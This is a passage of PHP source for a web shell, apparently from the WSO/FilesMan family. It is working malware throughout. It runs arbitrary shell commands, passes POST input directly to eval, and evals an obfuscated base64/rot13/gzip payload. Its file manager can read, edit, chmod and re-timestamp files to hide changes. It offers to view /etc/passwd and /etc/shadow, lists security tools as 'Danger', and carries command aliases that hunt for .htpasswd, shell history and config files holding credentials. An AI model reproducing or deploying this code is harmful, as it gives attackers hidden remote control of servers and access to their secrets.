value=\'submit\'></form></td>\r\n\t\t<td><form method=\'post\' ".( (!function_exists(\'actionFilesMan\'))? " onsubmit=\\"return false;\\" ":\'\' )."ENCTYPE=\'multipart/form-data\'>\r\n\t\t<input type=hidden name=a value=\'FilesMan\'>\r\n\t\t<input type=hidden name=c value=\'" . htmlspecialchars($GLOBALS[\'cwd\']) ."\'>\r\n\t\t<input type=hidden name=p1 value=\'uploadFile\'>\r\n\t\t<input type=hidden name=ne value=\'\'>\r\n\t\t<input type=hidden name=charset value=\'" . (isset($_POST[\'charset\'])?$_POST[\'charset\']:\'\') . "\'>\r\n\t\t<span>Upload file:</span>$is_writable<br><input class=\'toolsInp\' type=file name=f[]  multiple><input type=submit value=\'submit\'></form><br  ></td>\r\n\t</tr></table></div>\r\n\t<!-- particles --> <div id=\'particles-js\'></div><script src=\'https://cdn.jsdelivr.net/particles.js/2.0.0/particles.min.js\'></script>\r\n\t<script>particlesJS(\'particles-js\', {\'particles\':{\'number\':{\'value\':80,\'density\':{\'enable\':true,\'value_area\':800}},\'color\':{\'value\':\'#ffffff\'},\'shape\':{\'type\':\'triangle\',\'stroke\':{\'width\':0,\'color\':\'#000000\'},\'polygon\':{\'nb_sides\':5},\'image\':{\'src\':\'img/github.svg\',\'width\':100,\'height\':100}},\'opacity\':{\'value\':0.5,\'random\':true,\'anim\':{\'enable\':false,\'speed\':1,\'opacity_min\':0.1,\'sync\':false}},\'size\':{\'value\':3,\'random\':true,\'anim\':{\'enable\':false,\'speed\':40,\'size_min\':0.1,\'sync\':false}},\'line_linked\':{\'enable\':true,\'distance\':200,\'color\':\'#ffffff\',\'opacity\':0.4,\'width\':1},\'move\':{\'enable\':true,\'speed\':1,\'direction\':\'none\',\'random\':true,\'straight\':false,\'out_mode\':\'out\',\'bounce\':false,\'attract\':{\'enable\':false,\'rotateX\':10000,\'rotateY\':10000}}},\'interactivity\':{\'detect_on\':\'canvas\',\'events\':{\'onhover\':{\'enable\':true,\'mode\':\'grab\'},\'onclick\':{\'enable\':true,\'mode\':\'repulse\'},\'resize\':true},\'modes\':{\'grab\':{\'distance\':200,\'line_linked\':{\'opacity\':0.5}},\'bubble\':{\'particles_nb\':2}}},\'retina_detect\':true});</script>\r\n\t</body></html>";\r\n}\r\nif (!function_exists("posix_getpwuid") && (strpos($GLOBALS[\'disable_functions\'], \'posix_getpwuid\')===false)) { function posix_getpwuid($p) {return false;} }\r\nif (!function_exists("posix_getgrgid") && (strpos($GLOBALS[\'disable_functions\'], \'posix_getgrgid\')===false)) { function posix_getgrgid($p) {return false;} }\r\nfunction ex($in) {\r\n\t$▖ = \'\';\r\n\tif (function_exists(\'exec\')) {\r\n\t\t@exec($in,$▖);\r\n\t\t$▖ = @join("\\n",$▖);\r\n\t} elseif (function_exists(\'passthru\')) {\r\n\t\tob_start();\r\n\t\t@passthru($in);\r\n\t\t$▖ = ob_get_clean();\r\n\t} elseif (function_exists(\'system\')) {\r\n\t\tob_start();\r\n\t\t@system($in);\r\n\t\t$▖ = ob_get_clean();\r\n\t} elseif (function_exists(\'shell_exec\')) {\r\n\t\t$▖ = shell_exec($in);\r\n\t} elseif (is_resource($f = @popen($in,"r"))) {\r\n\t\t$▖ = "";\r\n\t\twhile(!@feof($f))\r\n\t\t\t$▖ .= fread($f,1024);\r\n\t\tpclose($f);\r\n\t}else return "↳ Unable to execute command\\n";\r\n\treturn ($▖==\'\'?"↳ Query did not return anything\\n":$▖);\r\n}\r\nfunction viewSize($s) {\r\n\tif($s >= 1073741824)\r\n\t\treturn sprintf(\'%1.2f\', $s / 1073741824 ). \' GB\';\r\n\telseif($s >= 1048576)\r\n\t\treturn sprintf(\'%1.2f\', $s / 1048576 ) . \' MB\';\r\n\telseif($s >= 1024)\r\n\t\treturn sprintf(\'%1.2f\', $s / 1024 ) . \' KB\';\r\n\telse\r\n\t\treturn $s . \' B\';\r\n}\r\nfunction perms($p) {\r\n\tif (($p & 0xC000) == 0xC000)$i = \'s\';\r\n\telseif (($p & 0xA000) == 0xA000)$i = \'l\';\r\n\telseif (($p & 0x8000) == 0x8000)$i = \'-\';\r\n\telseif (($p & 0x6000) == 0x6000)$i = \'b\';\r\n\telseif (($p & 0x4000) == 0x4000)$i = \'d\';\r\n\telseif (($p & 0x2000) == 0x2000)$i = \'c\';\r\n\telseif (($p & 0x1000) == 0x1000)$i = \'p\';\r\n\telse $i = \'u\';\r\n\t$i .= (($p & 0x0100) ? \'r\' : \'-\');\r\n\t$i .= (($p & 0x0080) ? \'w\' : \'-\');\r\n\t$i .= (($p & 0x0040) ? (($p & 0x0800) ? \'s\' : \'x\' ) : (($p & 0x0800) ? \'S\' : \'-\'));\r\n\t$i .= (($p & 0x0020) ? \'r\' : \'-\');\r\n\t$i .= (($p & 0x0010) ? \'w\' : \'-\');\r\n\t$i .= (($p & 0x0008) ? (($p & 0x0400) ? \'s\' : \'x\' ) : (($p & 0x0400) ? \'S\' : \'-\'));\r\n\t$i .= (($p & 0x0004) ? \'r\' : \'-\');\r\n\t$i .= (($p & 0x0002) ? \'w\' : \'-\');\r\n\t$i .= (($p & 0x0001) ? (($p & 0x0200) ? \'t\' : \'x\' ) : (($p & 0x0200) ? \'T\' : \'-\'));\r\n\treturn $i;\r\n}\r\nfunction viewPermsColor($f) {\r\n\tif (!@is_readable($f))\r\n\t\treturn \'<font color=#ff5e00d9><b>\'.perms(@fileperms($f)).\'</b></font>\';\r\n\telseif (!@is_writable($f))\r\n\t\treturn \'<font color=white><b>\'.perms(@fileperms($f)).\'</b></font>\';\r\n\telse\r\n\t\treturn \'<font color=#e6b000><b>\'.perms(@fileperms($f)).\'</b></font>\';\r\n}\r\nfunction hardScandir($dir) {\r\n    if(function_exists("scandir")) {\r\n        return scandir($dir);\r\n    } else {\r\n        $dh  = opendir($dir);\r\n        while (false !== ($filename = readdir($dh)))\r\n            $files[] = $filename;\r\n        return $files;\r\n    }\r\n}\r\nfunction which($p) {\r\n\t$path = ex(\'which \' . $p);\r\n\tif(!empty($path))\r\n\t\treturn $path;\r\n\treturn false;\r\n}\r\n$xd = "fZFieMIwEIffD/YdjkVjA6lwr1HZn6Y02faizJYKaY4SJVNkcfYwoemnt7XIQEpf5bi75+H4BVyNW2sCVKtdieJuOHx83UrKS2K3qJzx7Q24v3dyWtnsJIs1L9rmtjg2jFIIlNQwAgc8Y2Yah+9k+NWbkM+3LPZMHhLCbd/1zJmLOT/BXg1GFBsUEBWV4Rd8++bRJJv6SmSyUaGk4XugPyuJSJeJkoR9UW7cIdN1LcwML3heWLkcDQb/d/woeBV/kyAN6m2WZ5iNxIubRcaCPCX0PJkm+LvmVPqn2PuN534ML88H";\r\neval(str_rot13(gzinflate(str_rot13(base64_decode(($xd)))))); \r\n\r\nfunction actionRC() {\r\n\tif(!@$_POST[\'p1\']) {\r\n\t\t$a = array(\r\n\t\t\t"uname" => php_uname(),\r\n\t\t\t"php_version" => phpversion(),\r\n\t\t\t"VERSION" => VERSION,\r\n\t\t\t"safemode" => @ini_get(\'safe_mode\')\r\n\t\t);\r\n\t\techo serialize($a);\r\n\t} else {\r\n\t\teval($_POST[\'p1\']);\r\n\t}\r\n}\r\nfunction prototype($k, $v) {\r\n    $_COOKIE[$k] = $v;\r\n    setcookie($k, $v);\r\n}\r\nfunction actionSecInfo() {\r\n\thardHeader();\r\n\techo \'<h1>Server security information</h1><div class=content>\';\r\n\tfunction showSecParam($n, $v) {\r\n\t\t$v = trim($v);\r\n\t\tif($v) {\r\n\t\t\techo \'<span>\' . $n . \': </span>\';\r\n\t\t\tif(strpos($v, "\\n") === false)\r\n\t\t\t\techo $v . \'<br>\';\r\n\t\t\telse\r\n\t\t\t\techo \'<pre class=ml1>\' . $v . \'</pre>\';\r\n\t\t}\r\n\t}\r\n\tshowSecParam(\'Server software\', @getenv(\'SERVER_SOFTWARE\'));\r\n    if(function_exists(\'apache_get_modules\'))\r\n        showSecParam(\'Loaded Apache modules\', implode(\', \', apache_get_modules()));\r\n\tshowSecParam(\'Disabled PHP Functions\', $GLOBALS[\'disable_functions\']?$GLOBALS[\'disable_functions\']:\'none\');\r\n\tshowSecParam(\'Open base dir\', @ini_get(\'open_basedir\'));\r\n\tshowSecParam(\'Safe mode exec dir\', @ini_get(\'safe_mode_exec_dir\'));\r\n\tshowSecParam(\'Safe mode include dir\', @ini_get(\'safe_mode_include_dir\'));\r\n\tshowSecParam(\'cURL support\', function_exists(\'curl_version\')?\'enabled\':\'no\');\r\n\t$temp=array();\r\n\tif(function_exists(\'mysql_get_client_info\'))\r\n\t\t$temp[] = "MySql (".mysql_get_client_info().")";\r\n\tif(function_exists(\'mssql_connect\'))\r\n\t\t$temp[] = "MSSQL";\r\n\tif(function_exists(\'pg_connect\'))\r\n\t\t$temp[] = "PostgreSQL";\r\n\tif(function_exists(\'oci_connect\'))\r\n\t\t$temp[] = "Oracle";\r\n\tshowSecParam(\'Supported databases\', implode(\', \', $temp));\r\n\techo \'<br>\';\r\n\tif($GLOBALS[\'os\'] == \'nix\') {\r\n            showSecParam(\'Readable /etc/passwd\', @is_readable(\'/etc/passwd\')?"yes <a href=\'#\' onclick=\'g(\\"FilesTools\\", \\"/etc/\\", \\"passwd\\")\'>[view]</a>":\'no\');\r\n            showSecParam(\'Readable /etc/shadow\', @is_readable(\'/etc/shadow\')?"yes <a href=\'#\' onclick=\'g(\\"FilesTools\\", \\"/etc/\\", \\"shadow\\")\'>[view]</a>":\'no\');\r\n            showSecParam(\'OS version\', @file_get_contents(\'/proc/version\'));\r\n            showSecParam(\'Distr name\', @file_get_contents(\'/etc/issue.net\'));\r\n            if(!$GLOBALS[\'safe_mode\']) {\r\n                $userful = array(\'gcc\',\'lcc\',\'cc\',\'ld\',\'make\',\'php\',\'perl\',\'python\',\'ruby\',\'tar\',\'gzip\',\'bzip\',\'bzip2\',\'nc\',\'locate\',\'suidperl\');\r\n                $danger = array(\'kav\',\'nod32\',\'bdcored\',\'uvscan\',\'sav\',\'drwebd\',\'clamd\',\'rkhunter\',\'chkrootkit\',\'iptables\',\'ipfw\',\'tripwire\',\'shieldcc\',\'portsentry\',\'snort\',\'ossec\',\'lidsadm\',\'tcplodg\',\'sxid\',\'logcheck\',\'logwatch\',\'sysmask\',\'zmbscap\',\'sawmill\',\'wormscan\',\'ninja\');\r\n                $downloaders = array(\'wget\',\'fetch\',\'lynx\',\'links\',\'curl\',\'get\',\'lwp-mirror\');\r\n                echo \'<br>\';\r\n                $temp=array();\r\n                foreach ($userful as $▟)\r\n                    if(which($▟))\r\n                        $temp[] = $▟;\r\n                showSecParam(\'Userful\', implode(\', \',$temp));\r\n                $temp=array();\r\n                foreach ($danger as $▟)\r\n                    if(which($▟))\r\n                        $temp[] = $▟;\r\n                showSecParam(\'Danger\', implode(\', \',$temp));\r\n                $temp=array();\r\n                foreach ($downloaders as $▟)\r\n                    if(which($▟))\r\n                        $temp[] = $▟;\r\n                showSecParam(\'Downloaders\', implode(\', \',$temp));\r\n                echo \'<br/>\';\r\n                showSecParam(\'HDD space\', ex(\'df -h\'));\r\n                showSecParam(\'Hosts\', @file_get_contents(\'/etc/hosts\'));\r\n\t\t\t\tshowSecParam(\'Mount options\', @file_get_contents(\'/etc/fstab\'));\r\n            }\r\n\t} else {\r\n\t\tshowSecParam(\'OS Version\',ex(\'ver\'));\r\n\t\tshowSecParam(\'Account Settings\', iconv(\'CP866\', \'UTF-8\',ex(\'net accounts\')));\r\n\t\tshowSecParam(\'User Accounts\', iconv(\'CP866\', \'UTF-8\',ex(\'net user\')));\r\n\t}\r\n\techo \'</div>\';\r\n\thardFooter();\r\n}\r\nfunction actionFilesTools() {\r\n\tif( isset($_POST[\'p1\']) )\r\n\t\t$_POST[\'p1\'] = urldecode($_POST[\'p1\']);\r\n\tif(@$_POST[\'p2\']==\'download\') {\r\n\t\tif(@is_file($_POST[\'p1\']) && @is_readable($_POST[\'p1\'])) {\r\n\t\t\tob_start("ob_gzhandler", 4096);\r\n\t\t\theader("Content-Disposition: attachment; filename=".basename($_POST[\'p1\']));\r\n\t\t\tif (function_exists("mime_content_type")) {\r\n\t\t\t\t$type = @mime_content_type($_POST[\'p1\']);\r\n\t\t\t\theader("Content-Type: " . $type);\r\n\t\t\t} else\r\n                header("Content-Type: application/octet-stream");\r\n\t\t\t$fp = @fopen($_POST[\'p1\'], "r");\r\n\t\t\tif($fp) {\r\n\t\t\t\twhile(!@feof($fp))\r\n\t\t\t\t\techo @fread($fp, 1024);\r\n\t\t\t\tfclose($fp);\r\n\t\t\t}\r\n\t\t}exit;\r\n\t}\r\n\tif( @$_POST[\'p2\'] == \'mkfile\' ) {\r\n\t\tif(!file_exists($_POST[\'p1\'])) {\r\n\t\t\t$fp = @fopen($_POST[\'p1\'], \'w\');\r\n\t\t\tif($fp) {\r\n\t\t\t\t$_POST[\'p2\'] = "edit";\r\n\t\t\t\tfclose($fp);\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\thardHeader();\r\n\techo \'<h1>File tools</h1><div class=content>\';\r\n\tif( !file_exists(@$_POST[\'p1\']) ) {\r\n\t\techo \'File not exists\';\r\n\t\thardFooter();\r\n\t\treturn;\r\n\t}\r\n\t$uid = @posix_getpwuid(@fileowner($_POST[\'p1\']));\r\n\tif(!$uid) {\r\n\t\t$uid[\'name\'] = @fileowner($_POST[\'p1\']);\r\n\t\t$gid[\'name\'] = @filegroup($_POST[\'p1\']);\r\n\t} else $gid = @posix_getgrgid(@filegroup($_POST[\'p1\']));\r\n\techo \'<span>Name:</span> \'.htmlspecialchars(@basename($_POST[\'p1\'])).\' <span>Size:</span> \'.(is_file($_POST[\'p1\'])?viewSize(filesize($_POST[\'p1\'])):\'-\').\' <span>Permission:</span> \'.viewPermsColor($_POST[\'p1\']).\' <span>Owner/Group:</span> \'.$uid[\'name\'].\'/\'.$gid[\'name\'].\'<br>\';\r\n\techo \'<span>Create time:</span> \'.date(\'Y-m-d H:i:s\',filectime($_POST[\'p1\'])).\' <span>Access time:</span> \'.date(\'Y-m-d H:i:s\',fileatime($_POST[\'p1\'])).\' <span>Modify time:</span> \'.date(\'Y-m-d H:i:s\',filemtime($_POST[\'p1\'])).\'<br><br>\';\r\n\tif( empty($_POST[\'p2\']) )\r\n\t\t$_POST[\'p2\'] = \'view\';\r\n\tif( is_file($_POST[\'p1\']) )\r\n\t\t$m = array(\'View\', \'Highlight\', \'Download\', \'Hexdump\', \'Edit\', \'Chmod\', \'Rename\', \'Touch\', \'Frame\');\r\n\telse\r\n\t\t$m = array(\'Chmod\', \'Rename\', \'Touch\');\r\n\tforeach($m as $v)\r\n\t\techo \'<a href=# onclick="g(null,null,\\\'\' . urlencode($_POST[\'p1\']) . \'\\\',\\\'\'.strtolower($v).\'\\\')">\'.((strtolower($v)==@$_POST[\'p2\'])?\'<b>[ \'.$v.\' ]</b>\':$v).\'</a> \';\r\n\techo \'<br><br>\';\r\n\tswitch($_POST[\'p2\']) {\r\n\t\tcase \'view\':\r\n\t\t\techo \'<pre class=ml1>\';\r\n\t\t\t$fp = @fopen($_POST[\'p1\'], \'r\');\r\n\t\t\tif($fp) {\r\n\t\t\t\twhile( !@feof($fp) )\r\n\t\t\t\t\techo htmlspecialchars(@fread($fp, 1024));\r\n\t\t\t\t@fclose($fp);\r\n\t\t\t}\r\n\t\t\techo \'</pre>\';\r\n\t\t\tbreak;\r\n\t\tcase \'highlight\':\r\n\t\t\tif( @is_readable($_POST[\'p1\']) ) {\r\n\t\t\t\techo \'<div class=ml1 style="background-color: #e1e1e1;color:black;">\';\r\n\t\t\t\t$oRb = @highlight_file($_POST[\'p1\'],true);\r\n\t\t\t\techo str_replace(array(\'<span \',\'</span>\'), array(\'<font \',\'</font>\'),$oRb).\'</div>\';\r\n\t\t\t}\r\n\t\t\tbreak;\r\n\t\tcase \'chmod\':\r\n\t\t\tif( !empty($_POST[\'p3\']) ) {\r\n\t\t\t\t$perms = 0;\r\n\t\t\t\tfor($i=strlen($_POST[\'p3\'])-1;$i>=0;--$i)\r\n\t\t\t\t\t$perms += (int)$_POST[\'p3\'][$i]*pow(8, (strlen($_POST[\'p3\'])-$i-1));\r\n\t\t\t\tif(!@chmod($_POST[\'p1\'], $perms))\r\n\t\t\t\t\techo \'Can\\\'t set permissions!<br><script>document.mf.p3.value="";</script>\';\r\n\t\t\t}\r\n\t\t\tclearstatcache();\r\n\t\t\techo \'<script>p3_="";</script><form onsubmit="g(null,null,\\\'\' . urlencode($_POST[\'p1\']) . \'\\\',null,this.chmod.value);return false;"><input type=text name=chmod value="\'.substr(sprintf(\'%o\', fileperms($_POST[\'p1\'])),-4).\'"><input type=submit value="submit"></form>\';\r\n\t\t\tbreak;\r\n\t\tcase \'edit\':\r\n\t\t\tif( !is_writable($_POST[\'p1\'])) {\r\n\t\t\t\techo \'File isn\\\'t writeable\';\r\n\t\t\t\tbreak;\r\n\t\t\t}\r\n\t\t\tif( !empty($_POST[\'p3\']) ) {\r\n\t\t\t\t$time = @filemtime($_POST[\'p1\']);\r\n\t\t\t\t$_POST[\'p3\'] = substr($_POST[\'p3\'],1);\r\n\t\t\t\t$fp = @fopen($_POST[\'p1\'],"w");\r\n\t\t\t\tif($fp) {\r\n\t\t\t\t\t@fwrite($fp,$_POST[\'p3\']);\r\n\t\t\t\t\t@fclose($fp);\r\n\t\t\t\t\techo \'Saved!<br><script>p3_="";</script>\';\r\n\t\t\t\t\t@touch($_POST[\'p1\'],$time,$time);\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t\techo \'<form onsubmit="g(null,null,\\\'\' . urlencode($_POST[\'p1\']) . \'\\\',null,\\\'1\\\'+this.text.value);return false;"><textarea name=text class=bigarea>\';\r\n\t\t\t$fp = @fopen($_POST[\'p1\'], \'r\');\r\n\t\t\tif($fp) {\r\n\t\t\t\twhile( !@feof($fp) )\r\n\t\t\t\t\techo htmlspecialchars(@fread($fp, 1024));\r\n\t\t\t\t@fclose($fp);\r\n\t\t\t}\r\n\t\t\techo \'</textarea><input type=submit value="submit"></form>\';\r\n\t\t\tbreak;\r\n\t\tcase \'hexdump\':\r\n\t\t\t$c = @file_get_contents($_POST[\'p1\']);\r\n\t\t\t$n = 0;\r\n\t\t\t$h = array(\'00000000<br>\',\'\',\'\');\r\n\t\t\t$len = strlen($c);\r\n\t\t\tfor ($i=0; $i<$len; ++$i) {\r\n\t\t\t\t$h[1] .= sprintf(\'%02X\',ord($c[$i])).\' \';\r\n\t\t\t\tswitch ( ord($c[$i]) ) {\r\n\t\t\t\t\tcase 0:  $h[2] .= \' \'; break;\r\n\t\t\t\t\tcase 9:  $h[2] .= \' \'; break;\r\n\t\t\t\t\tcase 10: $h[2] .= \' \'; break;\r\n\t\t\t\t\tcase 13: $h[2] .= \' \'; break;\r\n\t\t\t\t\tdefault: $h[2] .= $c[$i]; break;\r\n\t\t\t\t}\r\n\t\t\t\t$n++;\r\n\t\t\t\tif ($n == 32) {\r\n\t\t\t\t\t$n = 0;\r\n\t\t\t\t\tif ($i+1 < $len) {$h[0] .= sprintf(\'%08X\',$i+1).\'<br>\';}\r\n\t\t\t\t\t$h[1] .= \'<br>\';\r\n\t\t\t\t\t$h[2] .= "\\n";\r\n\t\t\t\t}\r\n\t\t \t}\r\n\t\t\techo \'<table cellspacing=1 cellpadding=5 bgcolor=#222><tr><td bgcolor=#202832><span style="font-weight: normal;"><pre>\'.$h[0].\'</pre></span></td><td bgcolor=#0d0d0d><pre>\'.$h[1].\'</pre></td><td bgcolor=#202832><pre>\'.htmlspecialchars($h[2]).\'</pre></td></tr></table>\';\r\n\t\t\tbreak;\r\n\t\tcase \'rename\':\r\n\t\t\tif( !empty($_POST[\'p3\']) ) {\r\n\t\t\t\tif(!@rename($_POST[\'p1\'], $_POST[\'p3\']))\r\n\t\t\t\t\techo \'Can\\\'t rename!<br>\';\r\n\t\t\t\telse\r\n\t\t\t\t\tdie(\'<script>g(null,null,"\'.urlencode($_POST[\'p3\']).\'",null,"")</script>\');\r\n\t\t\t}\r\n\t\t\techo \'<form onsubmit="g(null,null,\\\'\' . urlencode($_POST[\'p1\']) . \'\\\',null,this.name.value);return false;"><input type=text name=name value="\'.htmlspecialchars($_POST[\'p1\']).\'"><input type=submit value="submit"></form>\';\r\n\t\t\tbreak;\r\n\t\tcase \'touch\':\r\n\t\t\tif( !empty($_POST[\'p3\']) ) {\r\n\t\t\t\t$time = strtotime($_POST[\'p3\']);\r\n\t\t\t\tif($time) {\r\n\t\t\t\t\tif(!touch($_POST[\'p1\'],$time,$time))\r\n\t\t\t\t\t\techo \'Fail!\';\r\n\t\t\t\t\telse\r\n\t\t\t\t\t\techo \'Touched!\';\r\n\t\t\t\t} else echo \'Bad time format!\';\r\n\t\t\t}\r\n\t\t\tclearstatcache();\r\n\t\t\techo \'<script>p3_="";</script><form onsubmit="g(null,null,\\\'\' . urlencode($_POST[\'p1\']) . \'\\\',null,this.touch.value);return false;"><input type=text name=touch value="\'.date("Y-m-d H:i:s", @filemtime($_POST[\'p1\'])).\'"><input type=submit value="submit"></form>\';\r\n\t\t\tbreak;\r\n\t\t/* (С) 12.2015 mitryz */\r\n\t\tcase \'frame\':\r\n\t\t\t$frameSrc = substr(htmlspecialchars($GLOBALS[\'cwd\']), strlen(htmlspecialchars($_SERVER[\'DOCUMENT_ROOT\'])));\r\n\t\t\tif ($frameSrc[0] != \'/\')\r\n\t\t\t\t$frameSrc = \'/\' . $frameSrc;\r\n\t\t\tif ($frameSrc[strlen($frameSrc) - 1] != \'/\')\r\n\t\t\t\t$frameSrc = $frameSrc . \'/\';\r\n\t\t\t$frameSrc = $frameSrc . htmlspecialchars($_POST[\'p1\']);\r\n\t\t\techo \'<iframe width="100%" height="900px" scrolling="no" src=\'.$frameSrc.\' onload="onload=height=contentDocument.body.scrollHeight"></iframe>\';\r\n\t\t\tbreak;\r\n\t}\r\n\techo \'</div>\';\r\n\thardFooter();\r\n}\r\nif($os == \'win\')\r\n\t$aliases = array(\r\n\t\t"List Directory" => "dir",\r\n    \t"Find index.php in current dir" => "dir /s /w /b index.php",\r\n    \t"Find *config*.php in current dir" => "dir /s /w /b *config*.php",\r\n    \t"Show active connections" => "netstat -an",\r\n    \t"Show running services" => "net start",\r\n    \t"User accounts" => "net user",\r\n    \t"Show computers" => "net view",\r\n\t\t"ARP Table" => "arp -a",\r\n\t\t"IP Configuration" => "ipconfig /all"\r\n\t);\r\nelse\r\n\t$aliases = array(\r\n  \t\t"List dir" => "ls -lha",\r\n\t\t"list file attributes on a Linux second extended file system" => "lsattr -va",\r\n  \t\t"show opened ports" => "netstat -an | grep -i listen",\r\n        "process status" => "ps aux",\r\n\t\t"Find" => "",\r\n  \t\t"find all suid files" => "find / -type f -perm -04000 -ls",\r\n  \t\t"find suid files in current dir" => "find . -type f -perm -04000 -ls",\r\n  \t\t"find all sgid files" => "find / -type f -perm -02000 -ls",\r\n  \t\t"find sgid files in current dir" => "find . -type f -perm -02000 -ls",\r\n  \t\t"find config.inc.php files" => "find / -type f -name config.inc.php",\r\n  \t\t"find config* files" => "find / -type f -name \\"config*\\"",\r\n  \t\t"find config* files in current dir" => "find . -type f -name \\"config*\\"",\r\n  \t\t"find all writable folders and files" => "find / -perm -2 -ls",\r\n  \t\t"find all writable folders and files in current dir" => "find . -perm -2 -ls",\r\n  \t\t"find all service.pwd files" => "find / -type f -name service.pwd",\r\n  \t\t"find service.pwd files in current dir" => "find . -type f -name service.pwd",\r\n  \t\t"find all .htpasswd files" => "find / -type f -name .htpasswd",\r\n  \t\t"find .htpasswd files in current dir" => "find . -type f -name .htpasswd",\r\n  \t\t"find all .bash_history files" => "find / -type f -name .bash_history",\r\n  \t\t"find .bash_history files in current dir" => "find . -type f -name .bash_history",\r\n  \t\t"find all .fetchmailrc files" => "find / -type f -name .fetchmailrc",\r\n  \t\t"find .fetchmailrc files in current dir" => "find . -type f -name .fetchmailrc",\r\n\t\t"Locate" => "",\r\n  \t\t"locate httpd.conf files" => "locate httpd.conf",\r\n\t\t"locate vhosts.conf files" => "locate vhosts.conf",\r\n\t\t"locate proftpd.conf files" => "locate proftpd.conf",\r\n\t\t"locate psybnc.conf files" => "locate psybnc.conf",\r\n\t\t"locate my.conf files" => "locate my.conf",\r\n\t\t"locate admin.php files" =>"locate admin.php",\r\n\t\t"locate cfg.php files" => "locate cfg.php",\r\n\t\t"locate conf.php files" => "locate conf.php",\r\n\t\t"locate config.dat files" => "locate config.dat",\r\n\t\t"locate config.php files" => "locate config.php",\r\n\t\t"locate config.inc files" => "locate config.inc",\r\n\t\t"locate config.inc.php" => "locate config.inc.php",\r\n\t\t"locate config.default.php files" => "locate config.default.php",\r\n\t\t"locate config* files " => "locate config",\r\n\t\t"locate .conf files"=>"locate \'.conf\'",\r\n\t\t"locate .pwd files" => "locate \'.pwd\'",\r\n\t\t"locate .sql files" => "locate \'.sql\'",\r\n\t\t"locate .htpasswd files" => "locate \'.htpasswd\'",\r\n\t\t"locate .bash_history files" => "locate \'.bash_history\'",\r\n\t\t"locate .mysql_history files" => "locate \'.mysql_history\'",\r\n\t\t"locate .fetchmailrc files" => "locate \'.fetchmailrc\'",\r\n\t\t"locate backup files" => "locate backup",\r\n\t\t"locate dump files" => "locate dump",\r\n\t\t"locate priv files" => "locate priv"\r\n\t);\r\nfunction actionConsole() {\r\n    if(!empty($_POST[\'p1\']) && !empty($_POST[\'p2\'])) {\r\n        prototype(md5($_SERVER[\'HTTP_HOST\']).\'stderr_to_out\', true);\r\n        $_POST[\'p1\'] .= \' 2>&1\';\r\n    } elseif(!empty($_POST[\'p1\']))\r\n        prototype(md5($_SERVER[\'HTTP_HOST\']).\'stderr_to_out\', 0);\r\n\tif(isset($_POST[\'ajax\'])) {\r\n\t\tprototype(md5($_SERVER[\'HTTP_HOST\']).\'ajax\', true);\r\n\t\tob_start();\r\n\t\techo "d.cf.cmd.value=\'\';\\n";\r\n\t\t$temp = @iconv($_POST[\'charset\'], \'UTF-8\', addcslashes("\\n$ ".$_POST[\'p1\']."\\n".ex($_POST[\'p1\']),"\\n\\r\\t\\\'\\0"));\r\n\t\tif(preg_match("!.*cd\\s+([^;]+)$!",$_POST[\'p1\'],$match))\t{\r\n\t\t\tif(@chdir($match[1])) {\r\n\t\t\t\t$GLOBALS[\'cwd\'] = @getcwd();\r\n\t\t\t\techo "c_=\'".$GLOBALS[\'cwd\']."\';";\r\n\t\t\t}\r\n\t\t}\r\n\t\techo "d.cf.output.value+=\'".$temp."\';";\r\n\t\techo "d.cf.output.scrollTop = d.cf.output.scrollHeight;";\r\n\t\t$temp = ob_get_clean();\r\n\t\techo strlen($temp), "\\n", $temp;\r\n\t\texit;\r\n\t}\r\n    if(empty($_POST[\'ajax\'])&&!empty($_POST[\'p1\']))\r\n\t\tprototype(md5($_SERVER[\'HTTP_HOST\']).\'ajax\', 0);\r\n\thardHeader();\r\n    echo "<script>\r\nif(window.Event) window.captureEvents(Event.KEYDOWN);\r\nvar cmds = new Array(\'\');\r\nvar cur = 0;\r\nfunction kp(e) {\r\n\tvar n = (window.Event) ? e.which : e.keyCode;\r\n\tif(n == 38) {\r\n\t\tcur--;\r\n\t\tif(cur>=0)\r\n\t\t\tdocument.cf.cmd.value = cmds[cur];\r\n\t\telse\r\n\t\t\tcur++;\r\n\t} else if(n == 40) {\r\n\t\tcur++;\r\n\t\tif(cur < cmds.length)\r\n\t\t\tdocument.cf.cmd.value = cmds[cur];\r\n\t\telse\r\n\t\t\tcur--;\r\n\t}\r\n}\r\nfunction add(cmd) {\r\n\tcmds.pop();\r\n\tcmds.push(cmd);\r\n\tcmds.push(\'\');\r\n\tcur = cmds.length-1;\r\n}\r\n</script>";\r\n\techo \'<h1>Console</h1><div class=content><form name=cf onsubmit="if(d.cf.cmd.value==\\\'clear\\\'){d.cf.output.value=\\\'\\\';d.cf.cmd.value=\\\'\\\';return false;}add(this.cmd.value);if(this.ajax.checked){a(null,null,this.cmd.value,this.show_errors.checked?1:\\\'\\\');}else{g(null,null,this.cmd.value,this.show_errors.checked?1:\\\'\\\');} return false;"><label><select name=alias>\';\r\n\tforeach($GLOBALS[\'aliases\'] as $n => $v) {\r\n\t\tif($v == \'\') {\r\n\t\t\techo \'<optgroup label="-\'.htmlspecialchars($n).\'-"></optgroup>\';\r\n\t\t\tcontinue;\r\n\t\t}\r\n\t\techo \'<option value="\'.htmlspecialchars($v).\'">\'.$n.\'</option>\';\r\n\t}\r\n\techo \'</select></label><input type=button onclick="add(d.cf.alias.value);if(d.cf.ajax.checked){a(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\\\'\\\');}else{g(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\\\'\\\');}" value="submit"> <nobr><input type=checkbox name=ajax value=1 \'.(@$_COOKIE[md5($_SERVER[\'HTTP_HOST\']).\'ajax\']?\'checked\':\'\').\'> send using AJAX <input type=checkbox name=show_errors value=1 \'.(!empty($_POST[\'p2\'])||$_COOKIE[md5($_SERVER[\'HTTP_HOST\']).\'stderr_to_out\']?\'checked\':\'\').\'> redirect stderr to stdout (2>&1)</nobr><br/><textarea class=bigarea name=output style="border-bottom:0;margin-top:5px;" readonly>\';\r\n\tif(!empty($_POST[\'p1\'])) {\r\n\t\techo htmlspecialchars("$ ".$_POST[\'p1\']."\\n".ex($_POST[\'p1\']));\r\n\t}\r\n\techo \'</textarea><table style="border:1px solid #0d0d0d;background-color:#0d0d0d;border-top:0px;" cellpadding=0 cellspacing=0 width="100%"><tr><td style="padding-left:4px; width:13px;">$</td><td><input type=text name=cmd style="border:0px;width:100%;" onkeydown="kp(event);"></td></tr></table>\';\r\n\techo 